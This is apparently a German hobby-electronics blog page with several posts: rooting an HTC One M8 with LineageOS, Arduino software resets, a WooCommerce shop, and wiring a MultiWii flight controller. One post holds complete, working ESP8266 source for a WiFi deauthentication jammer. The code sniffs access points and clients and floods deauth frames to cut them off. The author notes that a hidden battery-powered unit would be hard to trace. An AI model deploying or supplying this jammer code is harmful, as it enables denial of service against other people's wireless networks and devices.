Android HTC One M8 mit LineageOS flashen und rooten

 

Android Gerät Debug Modus aktivieren

  • Unter Einstellungen->Infos->Softwar-Informationen->Mehr gehen
  • Build-Nummer sieben Mal drücken
  • Unter Einstellungen->Entwickleroptionen USB-Debugging aktivieren

Software auf PC unter Windows 10 installieren

Benötigte Android Software herunterladen

ADB testen

  • Android Mobiltelefon über USB an Rechner verbinden
  • in der Konsole im Verzeichnis /PlattFormTools Befehl eingeben:adb devices
  • auf dem Mobiltelefon erscheint eine Nachricht. Diese mit OK bestätigen

Bootloader entsperren

  • Achtung: Alle Daten gehen danach verloren
  • in der Konsole im Verzeichnis /PlattFormTools Befehl eingeben:adb reboot bootloader
  • jetzt startet das Telefon im Fastboot Modus
  • verbindung testen in Kommandozeile: fastboot devices
  • jetzt in der Kommandozeile eingeben: fastboot oem get_identifier_token
  • die in der Kommandozeile erscheinende Nachricht ausschneiden und merken
  • Nun auf der Seite von HTC Unloock den Bootloader entsperren. Dazu muss man sich zuerst registrieren. Anschließend das Telefon in einer Liste auswählen. Und den Schlüssel dort eingeben. Anschließend bekommt man eine Email mit dem Deaktivierungsschlüssel
  • Mit dem Aktivierungsschlüssel aus der EMail mit dem Befehl den Bootloader entsperren: fastboot flash unlocktoken Unlock_code.bin
  • den auf dem Telefon erscheinenden Text bestätigen mit Volumentasten und Powertaste. Danach startet das Telefon neu
  • Sollte der Weg so nicht gehen, so gibt es noch die Möglichkeit über das Tool SunShine das Telefon zu entsperren

Recovery installieren

  • evtentuell muss nach dem Bootloader entsperren der USB Debug Modus neu eingestellt werden.
  • in der Konsole im Verzeichnis /PlattFormTools Befehl eingeben:adb reboot bootloader
  • jetzt startet das Telefon im Fastboot Modus
  • verbindung testen in Kommandozeile: fastboot devices
  • Flashen des Recovery Images: fastboot flash recovery twrp-3.1.1-0-m8.img
  • den Recovery Modus erreicht man, indem man beim Neustart Power und Voluem Down Taste gleichzeitig drückt und dann in dem HBOOT Menu zu Recovery wechselt

LineAgeOS installieren

  • In den Recovery Modus am Telefon wechseln
  • in der Kommandozeile den Befehl eingeben: adb push lineage-14.1-20170824-nightly-m8-signed.zip /sdcard/
  • und für Google Apps: adb push open_gapps-arm-7.1-nano-20170905.zip /sdcard/
  • eventuell vorher eine Backup von Cache, System und Data Partitionen mit dem Recovery TRWP erstellen
  • Partitionen Backup von Cache, System und Data neu formatieren mit Wipe und Advanced Wipe
  • Anschließend im TRWP Menu Install auswählen und in die Datei lineage-14.1-20170824-nightly-m8-signed.zip und flashen starten
  • Danach optional wieder im TRWP Menu Install auswählen und open_gapps-arm-7.1-nano-20170905.zip installieren
  • Anschließend System neu starten
  • Debug Modus in LineAgeOS aktivieren durch 7 Mal drücken unter EInstellungen->Über das Telefon->Build-Nummer und Einstellungen->Entwickleroptionen->AndroidDebugging einschalten
  • Optional zum Rooten  muss noch das su Package installiert werden, wie die oberen Packete über Recovery

Root Rechte einstellen

Falls das su add-on installiert muss es mit den folgenden Schritten aktiviert werden

  • Entwickler Optionen aktivieren: Einstellunge->Über das Telefon->Build-Nummer 7x betätigen
  • Einstellungen->Entwickler optionen->Root Zugriff
  • Nur Apps oder Apps und ADB auswählen

 

Links:
https://wiki.lineageos.org/adb_fastboot_guide.html
https://dl.google.com/android/repository/platform-tools-latest-windows.zip
https://github.com/koush/UniversalAdbDriver
https://adb.clockworkmod.com/
http://download.clockworkmod.com/test/UniversalAdbDriverSetup.msi
https://download.lineageos.org/m8
https://wiki.lineageos.org/devices/m8/install
http://www.htcdev.com/bootloader/
https://twrp.me/devices/htconem8gsm.html
https://eu.dl.twrp.me/m8/
https://wiki.lineageos.org/gapps.html
http://theroot.ninja/

 

Advertisements

Spass-Ärger mit ESP8266: W-Lan Jammer

Eigentlich ist ja der ESP8266 ein wunderbares kleines Tool für IoT Spielereien und Anwendungen. Aber selbstverständlich war es nur eine Frage der Zeit, bis das kleine Teil auch als WLAN Hacker Tool Verwendung findet.

Das unten stehende Programm erzeugt ein DeAuth Wifi Signal und verursacht eine Unterbrechung des WLan Signals. Es ist wirklich ärgerlich, wenn man das Programm auf einen ESP-7 oder ESP-12 schiebt, diesen mit einer kleinen 3,6V Knopfzelle versieht und irgendwo versteckt. Die Störquelle dürfte nur schwer aufzuspühren sein. Also nicht lustig !!!

Links:
https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack
https://github.com/RandDruid/esp8266-deauth

// Expose Espressif SDK functionality - wrapped in ifdef so that it still
// compiles on other platforms
#ifdef ESP8266
extern "C" {
#include "user_interface.h"
}
#endif

#include <ESP8266WiFi.h>

#define ETH_MAC_LEN 6
#define MAX_APS_TRACKED 100
#define MAX_CLIENTS_TRACKED 200

// Put Your devices here, system will skip them on deauth
#define WHITELIST_LENGTH 2
uint8_t whitelist[WHITELIST_LENGTH][ETH_MAC_LEN] = { { 0x77, 0xEA, 0x3A, 0x8D, 0xA7, 0xC8 }, {  0x40, 0x65, 0xA4, 0xE0, 0x24, 0xDF } };

// Declare to whitelist STATIONs ONLY, otherwise STATIONs and APs can be whitelisted
// If AP is whitelisted, all its clients become automatically whitelisted
//#define WHITELIST_STATION 

// Channel to perform deauth
uint8_t channel = 0;

// Packet buffer
uint8_t packet_buffer[64];

// DeAuth template
uint8_t template_da[26] = {0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x6a, 0x01, 0x00};

uint8_t broadcast1[3] = { 0x01, 0x00, 0x5e };
uint8_t broadcast2[6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };
uint8_t broadcast3[3] = { 0x33, 0x33, 0x00 };

struct beaconinfo
{
  uint8_t bssid[ETH_MAC_LEN];
  uint8_t ssid[33];
  int ssid_len;
  int channel;
  int err;
  signed rssi;
  uint8_t capa[2];
};

struct clientinfo
{
  uint8_t bssid[ETH_MAC_LEN];
  uint8_t station[ETH_MAC_LEN];
  uint8_t ap[ETH_MAC_LEN];
  int channel;
  int err;
  signed rssi;
  uint16_t seq_n;
};

beaconinfo aps_known[MAX_APS_TRACKED];                    // Array to save MACs of known APs
int aps_known_count = 0;                                  // Number of known APs
int nothing_new = 0;
clientinfo clients_known[MAX_CLIENTS_TRACKED];            // Array to save MACs of known CLIENTs
int clients_known_count = 0;                              // Number of known CLIENTs

bool friendly_device_found = false;
uint8_t *address_to_check;

struct beaconinfo parse_beacon(uint8_t *frame, uint16_t framelen, signed rssi)
{
  struct beaconinfo bi;
  bi.ssid_len = 0;
  bi.channel = 0;
  bi.err = 0;
  bi.rssi = rssi;
  int pos = 36;

  if (frame[pos] == 0x00) {
    while (pos < framelen) {
      switch (frame[pos]) {
        case 0x00: //SSID
          bi.ssid_len = (int) frame[pos + 1];
          if (bi.ssid_len == 0) {
            memset(bi.ssid, '\x00', 33);
            break;
          }
          if (bi.ssid_len < 0) {             bi.err = -1;             break;           }           if (bi.ssid_len > 32) {
            bi.err = -2;
            break;
          }
          memset(bi.ssid, '\x00', 33);
          memcpy(bi.ssid, frame + pos + 2, bi.ssid_len);
          bi.err = 0;  // before was error??
          break;
        case 0x03: //Channel
          bi.channel = (int) frame[pos + 2];
          pos = -1;
          break;
        default:
          break;
      }
      if (pos < 0) break;       pos += (int) frame[pos + 1] + 2;     }   } else {     bi.err = -3;   }   bi.capa[0] = frame[34];   bi.capa[1] = frame[35];   memcpy(bi.bssid, frame + 10, ETH_MAC_LEN);   return bi; } struct clientinfo parse_data(uint8_t *frame, uint16_t framelen, signed rssi, unsigned channel) {   struct clientinfo ci;   ci.channel = channel;   ci.err = 0;   ci.rssi = rssi;   int pos = 36;   uint8_t *bssid;   uint8_t *station;   uint8_t *ap;   uint8_t ds;   ds = frame[1] & 3;    //Set first 6 bits to 0   switch (ds) {     // p[1] - xxxx xx00 => NoDS   p[4]-DST p[10]-SRC p[16]-BSS
    case 0:
      bssid = frame + 16;
      station = frame + 10;
      ap = frame + 4;
      break;
    // p[1] - xxxx xx01 => ToDS   p[4]-BSS p[10]-SRC p[16]-DST
    case 1:
      bssid = frame + 4;
      station = frame + 10;
      ap = frame + 16;
      break;
    // p[1] - xxxx xx10 => FromDS p[4]-DST p[10]-BSS p[16]-SRC
    case 2:
      bssid = frame + 10;
      // hack - don't know why it works like this...
      if (memcmp(frame + 4, broadcast1, 3) || memcmp(frame + 4, broadcast2, 3) || memcmp(frame + 4, broadcast3, 3)) {
        station = frame + 16;
        ap = frame + 4;
      } else {
        station = frame + 4;
        ap = frame + 16;
      }
      break;
    // p[1] - xxxx xx11 => WDS    p[4]-RCV p[10]-TRM p[16]-DST p[26]-SRC
    case 3:
      bssid = frame + 10;
      station = frame + 4;
      ap = frame + 4;
      break;
  }

  memcpy(ci.station, station, ETH_MAC_LEN);
  memcpy(ci.bssid, bssid, ETH_MAC_LEN);
  memcpy(ci.ap, ap, ETH_MAC_LEN);

  ci.seq_n = frame[23] * 0xFF + (frame[22] & 0xF0);

  return ci;
}

int register_beacon(beaconinfo beacon)
{
  int known = 0;   // Clear known flag
  for (int u = 0; u < aps_known_count; u++)   {     if (! memcmp(aps_known[u].bssid, beacon.bssid, ETH_MAC_LEN)) {       known = 1;       break;     }   // AP known => Set known flag
  }
  if (! known)  // AP is NEW, copy MAC to array and return it
  {
    memcpy(&aps_known[aps_known_count], &beacon, sizeof(beacon));
    aps_known_count++;

    if ((unsigned int) aps_known_count >=
        sizeof (aps_known) / sizeof (aps_known[0]) ) {
      Serial.printf("exceeded max aps_known\n");
      aps_known_count = 0;
    }
  }
  return known;
}

int register_client(clientinfo ci)
{
  int known = 0;   // Clear known flag
  for (int u = 0; u < clients_known_count; u++)   {     if (! memcmp(clients_known[u].station, ci.station, ETH_MAC_LEN)) {       known = 1;       break;     }   }   if (! known)   {     memcpy(&clients_known[clients_known_count], &ci, sizeof(ci));     clients_known_count++;     if ((unsigned int) clients_known_count >=
        sizeof (clients_known) / sizeof (clients_known[0]) ) {
      Serial.printf("exceeded max clients_known\n");
      clients_known_count = 0;
    }
  }
  return known;
}

void print_beacon(beaconinfo beacon)
{
  if (beacon.err != 0) {
    //Serial.printf("BEACON ERR: (%d)  ", beacon.err);
  } else {
    Serial.printf("BEACON: [%32s]  ", beacon.ssid);
    for (int i = 0; i < 6; i++) Serial.printf("%02x", beacon.bssid[i]);
    Serial.printf("   %2d", beacon.channel);
    Serial.printf("   %4d\r\n", beacon.rssi);
  }
}

void print_client(clientinfo ci)
{
  int u = 0;
  int known = 0;   // Clear known flag
  if (ci.err != 0) {
  } else {
    Serial.printf("CLIENT: ");
    for (int i = 0; i < 6; i++) Serial.printf("%02x", ci.station[i]);
    Serial.printf(" works with: ");
    for (u = 0; u < aps_known_count; u++)     {       if (! memcmp(aps_known[u].bssid, ci.bssid, ETH_MAC_LEN)) {         Serial.printf("[%32s]", aps_known[u].ssid);         known = 1;         break;       }   // AP known => Set known flag
    }
    if (! known)  {
      Serial.printf("%22s", " ");
      for (int i = 0; i < 6; i++) Serial.printf("%02x", ci.bssid[i]);
    }

    Serial.printf("%5s", " ");
    for (int i = 0; i < 6; i++) Serial.printf("%02x", ci.ap[i]);
    Serial.printf("%5s", " ");

    if (! known) {
      Serial.printf("   %3d", ci.channel);
    } else {
      Serial.printf("   %3d", aps_known[u].channel);
    }
    Serial.printf("   %4d\r\n", ci.rssi);
  }
}

/* ==============================================
   Promiscous callback structures, see ESP manual
   ============================================== */

struct RxControl {
  signed rssi: 8;
  unsigned rate: 4;
  unsigned is_group: 1;
  unsigned: 1;
  unsigned sig_mode: 2;
  unsigned legacy_length: 12;
  unsigned damatch0: 1;
  unsigned damatch1: 1;
  unsigned bssidmatch0: 1;
  unsigned bssidmatch1: 1;
  unsigned MCS: 7;
  unsigned CWB: 1;
  unsigned HT_length: 16;
  unsigned Smoothing: 1;
  unsigned Not_Sounding: 1;
  unsigned: 1;
  unsigned Aggregation: 1;
  unsigned STBC: 2;
  unsigned FEC_CODING: 1;
  unsigned SGI: 1;
  unsigned rxend_state: 8;
  unsigned ampdu_cnt: 8;
  unsigned channel: 4;
  unsigned: 12;
};

struct LenSeq {
  uint16_t length;
  uint16_t seq;
  uint8_t  address3[6];
};

struct sniffer_buf {
  struct RxControl rx_ctrl;
  uint8_t buf[36];
  uint16_t cnt;
  struct LenSeq lenseq[1];
};

struct sniffer_buf2 {
  struct RxControl rx_ctrl;
  uint8_t buf[112];
  uint16_t cnt;
  uint16_t len;
};

/* Creates a packet.

   buf - reference to the data array to write packet to;
   client - MAC address of the client;
   ap - MAC address of the acces point;
   seq - sequence number of 802.11 packet;

   Returns: size of the packet
*/
uint16_t create_packet(uint8_t *buf, uint8_t *c, uint8_t *ap, uint16_t seq)
{
  int i = 0;

  memcpy(buf, template_da, 26);
  // Destination
  memcpy(buf + 4, c, ETH_MAC_LEN);
  // Sender
  memcpy(buf + 10, ap, ETH_MAC_LEN);
  // BSS
  memcpy(buf + 16, ap, ETH_MAC_LEN);
  // Seq_n
  buf[22] = seq % 0xFF;
  buf[23] = seq / 0xFF;

  return 26;
}

/* Sends deauth packets. */
void deauth(uint8_t *c, uint8_t *ap, uint16_t seq)
{
  uint8_t i = 0;
  uint16_t sz = 0;
  for (i = 0; i < 0x10; i++) {     sz = create_packet(packet_buffer, c, ap, seq + 0x10 * i);     wifi_send_pkt_freedom(packet_buffer, sz, 0);     delay(1);   } } void promisc_cb(uint8_t *buf, uint16_t len) {   int i = 0;   uint16_t seq_n_new = 0;   if (len == 12) {     struct RxControl *sniffer = (struct RxControl*) buf;   } else if (len == 128) {     struct sniffer_buf2 *sniffer = (struct sniffer_buf2*) buf;     struct beaconinfo beacon = parse_beacon(sniffer->buf, 112, sniffer->rx_ctrl.rssi);
    if (register_beacon(beacon) == 0) {
      print_beacon(beacon);
      nothing_new = 0;
    }
  } else {
    struct sniffer_buf *sniffer = (struct sniffer_buf*) buf;
    //Is data or QOS?
    if ((sniffer->buf[0] == 0x08) || (sniffer->buf[0] == 0x88)) {
      struct clientinfo ci = parse_data(sniffer->buf, 36, sniffer->rx_ctrl.rssi, sniffer->rx_ctrl.channel);
      if (memcmp(ci.bssid, ci.station, ETH_MAC_LEN)) {
        if (register_client(ci) == 0) {
          print_client(ci);
          nothing_new = 0;
        }
      }
    }
  }
}

bool check_whitelist(uint8_t *macAdress){
  unsigned int i=0;
  for (i=0; i<WHITELIST_LENGTH; i++) {     if (! memcmp(macAdress, whitelist[i], ETH_MAC_LEN)) return true;   }   return false; } void setup() {   Serial.begin(115200);   Serial.printf("\n\nSDK version:%s\n", system_get_sdk_version());   // Promiscuous works only with station mode   wifi_set_opmode(STATION_MODE);   // Set up promiscuous callback   wifi_set_channel(1);   wifi_promiscuous_enable(0);   wifi_set_promiscuous_rx_cb(promisc_cb);   wifi_promiscuous_enable(1); } void loop() {   while (true) {     channel = 1;     wifi_set_channel(channel);     while (true) {       nothing_new++;       if (nothing_new > 200) {
        nothing_new = 0;

        wifi_promiscuous_enable(0);
        wifi_set_promiscuous_rx_cb(0);
        wifi_promiscuous_enable(1);
        for (int ua = 0; ua < aps_known_count; ua++) {
          if (aps_known[ua].channel == channel) {
            for (int uc = 0; uc < clients_known_count; uc++) {               if (! memcmp(aps_known[ua].bssid, clients_known[uc].bssid, ETH_MAC_LEN)) { #ifdef WHITELIST_STATION                 address_to_check = clients_known[uc].station; #else                 address_to_check = clients_known[uc].ap; #endif                 if (check_whitelist(address_to_check)) {                   friendly_device_found = true;                   Serial.print("Whitelisted -->");
                  print_client(clients_known[uc]);
                } else {
                  Serial.print("DeAuth to ---->");
                  print_client(clients_known[uc]);
                  deauth(clients_known[uc].station, clients_known[uc].bssid, clients_known[uc].seq_n);
                }
                break;
              }
            }
            if (!friendly_device_found) deauth(broadcast2, aps_known[ua].bssid, 128);
            friendly_device_found = false;
          }
        }
        wifi_promiscuous_enable(0);
        wifi_set_promiscuous_rx_cb(promisc_cb);
        wifi_promiscuous_enable(1);

        channel++;
        if (channel == 15) break;
        wifi_set_channel(channel);
      }
      delay(1);

      if ((Serial.available() > 0) && (Serial.read() == '\n')) {
        Serial.println("\n-------------------------------------------------------------------------\n");
        for (int u = 0; u < aps_known_count; u++) print_beacon(aps_known[u]);
        for (int u = 0; u < clients_known_count; u++) print_client(clients_known[u]);
        Serial.println("\n-------------------------------------------------------------------------\n");
      }
    }
  }
}

Arduino Nano per Software resetten

Will man auf dem Arduino UNO/Nano/Mini nicht extra einen Kanal für den Reset belegen, so gibt es auch mindestens zwei Möglichkeit ihn per Software zu resetten. Die einfachste ist eine Funktion zu definieren, die auf Adresse null zeigt:

Das kann man einmal so machen

void software_Reset()
{
  asm volatile ("  jmp 0");
}

oder so

void(* resetFunc) (void) = 0;
void software_Reset()
{
  resetFunc();
}

Da aber der Arduino auch einen Watchdog hat, gibt es noch eine elegantere Lösung, vorallem weil die oberen doch etwas fragwürdig sind.


#include <avr/wdt.h>

void softwareReset( ) {
  wdt_enable( WDTO_15MS);
}

void setup() {
  MCUSR = 0;
  wdt_disable();

  pinMode(13, OUTPUT);

  Serial.begin(9600);
  while (!Serial)
  {
  }

  Serial.println("start");
}

void loop() {
  if (Serial.available() > 0) {
    char a = Serial.read();
    Serial.println(a);
    if ( a == 'b') {
      softwareReset();
      Serial.println("reset");
    }
  }
  digitalWrite(13, HIGH);
  delay(1000);
  digitalWrite(13, LOW);
  delay(1000);
}

Widerstands Frabcodekonverter

Also Kind habe ich die Farbcodierung der Widerstände  noch auswendig gewusst. Doch dann hab ich ein paar jahre nix mehr mit Elektronik gemacht und jetzt bin ich zu träge sie nochmal zu lernen. Jedes mal krame ich eine Webseite heraus mit einer Widerstandsfarbtabelle, um nachzusehen. Doch ich eine Seite gefunden, die das ganze wirklich vereinfacht, indem man die Fraben eingibt und der Wert angezeigt wird.

Links:
http://www.digikey.de/de/resources/conversion-calculators/conversion-calculator-resistor-color-code-5-band

WebShop Schnell erstellt

Jeder der was verkaufen will braucht einen guten Internetauftritt mit einem interessanten und praktischen WebShop. Unternehmen wie Strato bieten sowas schon ganz gut fertig konfiguriert an, für viel Geld / Monat.

Doch für den Freizeitverkäufer ohne viel Umsatz gibt es auch eine andere Lösung mit WordPress. Für WordPress gibt es mehrere Plugins, die einen Webshop leicht implementieren. Dazu gehört dann auch Zahluungsabwicklung zB über PayPal und Lagerbestand und auch rechtliche Sachen sind abgedeckt.

Im Speziellen habe ich das Plug WooCommerce installiert und die dazu gehörende eingedeutschte Erweiterung. Nachdem die Plugins installiert und aktiviert wurden über WordPress, können die Produkte erstmal angelegt werden. Diese können Kategorien zugewiesen werden und als Widget auf der Webseite platziert werden. Im Warenkorb befinden sich dann die ausgewählten Produkt. Dort kann dann auch die Bezahlmethode ausgewählt werden. Hat man das Produkt als Download deklariert beginnt dann dort der Download.

So und jetzt werde ich mal versuchen unter XAMPP einen Webshop aufzuziehen. Ich hab ja mal gehört, dass man mit selbsgestalteten T-Shirts viel Geld machen kann 🙂

Links:
https://de.wordpress.org/plugins/woocommerce/
https://de.wordpress.org/plugins/woocommerce-germanized/

 

MultiWii CRIUS SE V2.6 an FTDI232

Für mein eigenes Quadcopter Projekt habe ich mich für eine MultiWii Steuerung entschieden. Am günstigsten war mir da eine CRUIS SE V2.6. Diese basiert auf einem Atmel328P Microcontroler und hat zur Flustabilisierung die Bausteine MPU6050C (6 axis gyro/accel with Motion Processing Unit), HMC5883L (3-axis digital magnetometer) und
BMP085 (digital pressure sensor).

img_0051

Doch leider besitzt er zum Programmieren und Kalibrieren keinen USB Port um ihn an den PC anzuschließen. Deswegen musste ich ihn an einen Seriel nach USB Wandler FTDI232 anschliessen.

img_0049

Die Verbindung ist die gleiche beim FTDI mit dem MultiWII Board, wie mit einem Arduino Mini.

FTDI:          CRIUS MultiWII SE:
DTR——DTR
RXI——TXD
TXD——RXI
VCC——VCC
CTS——GND
GND——GND

Das CRIUS Board wird mit einer MultiWii SW darauf ausgeliefert. Aber sicherlich ist es interessant auch noch per Hand einige Änderungen vorzunehmen. Deswegen sollte man sich das MultiWii Packet herunterladen. Zum Compilieren der Sourcen braucht man die Arduino IDE.

Hat man den FTDI USB mit seinem Rechner verbunden und den entsprechenden Treiber installiert kann die Arduino IDE verwendet werden. Hier muss als Board Arduino Nano und der entsprechende COM Port des FTDI eingestellt werden. In der config.h können dann für den CRUIS entsprechende Einstellungen vorgenommen werden, wie zB für die Motorcontroller. Das Programm MultiWiiConf dient zur Kalibrierung der PID Regler.

 

Links:
https://itzwieseltal.wordpress.com/2015/12/25/arduino-mini-pro/
http://www.multiwii.com/
https://code.google.com/archive/p/multiwii/
https://www.arduino.cc/
http://www.ftdichip.com/Drivers/VCP.htm